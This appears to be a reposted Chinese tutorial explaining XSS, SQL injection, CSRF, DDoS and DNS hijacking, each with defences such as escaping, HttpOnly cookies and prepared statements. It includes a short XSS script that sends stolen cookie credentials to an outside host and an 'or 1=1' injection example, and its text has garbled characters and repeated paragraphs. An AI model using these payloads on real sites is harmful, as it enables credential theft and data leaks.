一文搞懂│XSS攻擊、SQL注入、CSRF攻擊、DDOS攻擊、DNS劫持
???XSS?攻擊
- 全稱跨站腳本攻擊?
Cross Site Scripting
- 為了與重疊樣式表?
CSS
?進行區分,所以換了另一個縮寫名稱?XSS
XSS
攻擊者通過篡改網頁,注入惡意的?HTML
?腳本,一般是?javascript
,在用戶瀏覽網頁時,控制用戶瀏覽器進行惡意操作的一種攻擊方式XSS
?攻擊經常使用在論壇,博客等應用中。攻擊者可以偷取用戶Cookie
、密碼等重要數據,進而偽造交易、盜取用戶財產、竊取情報等私密信息
- 就像上圖,如果用戶在評論框中輸入的并不是正常的文本,而是一段?
javascript
?腳本,而后臺又沒對該用戶的數據進行處理,直接存入數據庫,那么當其他用戶過來訪問該頁面,瀏覽器必然會執行這段腳本
- 當然這只是惡趣味,而真正的黑客并不會僅僅滿足這樣的惡趣味,可能更多的是想通過這些?
注入腳本
,獲取你的?個人信息
?,甚至是你的賬號密碼等信息
- 由上圖可知,用戶其實在評論的時候,引入了一個第三方腳本,在這個腳本中獲取你瀏覽器的?
cookie
?信息,并發送到指定的接口進行保存處理,這樣你的信息就已經泄露了
// attack.js 中的邏輯
var uname = $.cookie('username'); // 獲取賬號
var pwd = $.cookie('password'); // 獲取密碼
// 發送請求
$('body').appendTo('<script src=`http://autofelix.com/index.php?username=${uname}&password=${pwd}`></script>');
- 在上面邏輯中,腳本中獲取了你的個人信息,并將你的個人信息發送到后端?
php
?文件中進行處理保存,這樣你的個人信息就已經泄露了,所以杜絕?xss攻擊
?在網絡安全中非常的重要 - 所以后端永遠不要相信用戶提交的數據,在接收用戶提交的信息時候,要進行?
消毒處理
- 也就是過濾一些特殊的字符,比如?
javascript
?腳本中的?<>
?進行轉移?<>
?再進行存儲,這樣就能有效的進行?xss
?攻擊的預防 - 另外如果?
cookie
?中設置了?HttpOnly
?屬性,那么通過?js
?腳本將無法讀取到cookie
?信息,這樣也能有效的防止?XSS
?攻擊竊取?cookie
?內容
?? SQL 注入
SQL注入
?攻擊指的是攻擊者在?HTTP
?請求中注入惡意?SQL
?命令,服務器用請求參數構造數據庫?SQL
?命令時,惡意?SQL
?被一起構造,并在數據庫中執行,以便得到數據庫中的感興趣的數據或對數據庫進行讀取、修改、刪除、插入等敏感的操作,從而導致數據被隨意篡改- 但是?
SQL注入
?攻擊,需要攻擊者對數據庫表有所了解才行,比如你的項目?開源
?了,不小心公開了數據庫的賬號和密碼;另外你的網站上線沒有?關閉調試模式
,有心者可以網站的根據錯誤回顯可以猜測表結構;另外還有就是?盲注
,也即是很多有心者會盲猜數據表結構,但是這種難度最大 SQL注入
?可以通過預編譯手段進行預防,綁定參數是最好的防?SQL
?注入方法。現在流行的框架基本都實現了?SQL預編譯
和?參數綁定
,惡意攻擊的?SQL
?會被當做?SQL
?的參數,而不是?SQL
?命令被執行
# 正常獲取用戶信息的sql
select * from users where id=1
# sql注入了 1 or 1=1,就可以把用戶表中的所有數據全部查出,導致數據泄露
select * from users where id=1 or 1=1
???CSRF?攻擊
CSRF
?全稱?Cross Site Request Forgery,跨站點請求偽造
,攻擊者通過跨站請求,以合法的用戶身份進行非法操作,如轉賬交易、發表評論等。其核心是利用了瀏覽器?Cookie
?或服務器的?Session
?策略,盜取用戶的身份信息- 在打開?
A網站
?的情況下,另開?Tab頁面
?打開惡意?網站B
,此時在?B頁面
?的?惡意意圖
?下,瀏覽器發起一個對?網站A
?的?HTTP
?請求 - 因為之前?
A網站
?已經打開了,瀏覽器存有?A網站
?中的?Cookie
?或其他用于身份認證的信息,這一次被?惡意意圖
?的請求,將會自動帶上這些信息,這將會導致身份劫持,造成并非本人意愿的操作結果 - 而對應?
CSRF攻擊
?的防御策略有:表單token
、?驗證碼
、Referer 檢測
?等
?? DDOS 攻擊
DDOS
?全稱?Distributed Denial of Service,分布式拒絕服務攻擊
。是拒絕服務攻擊的升級版。拒絕攻擊服務其實就是讓你的服務不能正常給用戶提供服務,DDOS
?全稱?Distributed Denial of Service,分布式拒絕服務攻擊
。是拒絕服務攻擊的升級版。拒絕攻擊服務其實就是讓你的服務不能正常給用戶提供服務- 在早期發起?
DoS攻擊
?是一件很容易的事情,只需要寫個程序讓服務過載,無暇提供正常服務即可,也就是一秒中請求服務多次,將目標服務器的內存跑 - 后來隨著技術的發展,現在的服務器都是分布式,并不是單一服務器提供服務,一個服務背后擁有著是數不清的?
CDN節點
,也是就擁有著數不清的Web服務器
。想靠單臺服務器去攻擊這種分布式網絡,無異于對方以卵擊石
?,而且現在很多?DDOS 攻擊
?都不是免費的,所以很容易造成偷雞不成蝕把米 - 防御手段:隨著技術發展到今天也并不能完全杜絕這種攻擊的出現,只能通過技術去緩解。其中包括:
流量清洗
、SYN Cookie
?等等
?? DNS 劫持
- 當今互聯網流量中,以?
HTTP/HTTPS
?為主的?Web服務
?產生的流量占據了絕大部分 Web服務
?發展的如火如荼,這背后離不開一個默默無聞的大功臣就是域名解析系統,DNS
?提供將域名轉換成?ip地址
?的服務,每一個域名的解析都要經過?DNS
?,所以可以看出它的重要性- 正是因為它的重要性,所以?
DNS劫持
?很容易被別有用心的人利用 - 早期并沒有考慮太多的安全性,所以導致?
DNS
?很容易被劫持 - 如果攻擊者篡改?
DNS解析
?設置,將域名由正常?IP
?指向由攻擊者控制的非法?IP
,就會導致我們訪問域名打開的卻不是對應的網站,而是一個假冒或者別有用心的網站。這種攻擊手段就是?DNS劫持
- 如果攻擊者篡改?
DNS解析
?設置,將域名由正常?IP
?指向由攻擊者控制的非法?IP
,就會導致我們訪問域名打開的卻不是對應的網站,而是一個假冒或者別有用心的網站。這種攻擊手段就是?DNS劫持
- 如果攻擊者篡改?
DNS解析
?設置,將域名由正常?IP
?指向由攻擊者控制的非法?IP
,就會導致我們訪問域名打開的卻不是對應的網站,而是一個假冒或者別有用心的網站。這種攻擊手段就是?DNS劫持
- 另外可以?
安裝SSL證書
。SSL證書具備服務器身份認證功能,可以使DNS 劫持導致的連接錯誤情況及時被發現和終止
文章轉自CSDN,原作者極客飛兔,版權歸原作者所有,如有侵權請聯系刪除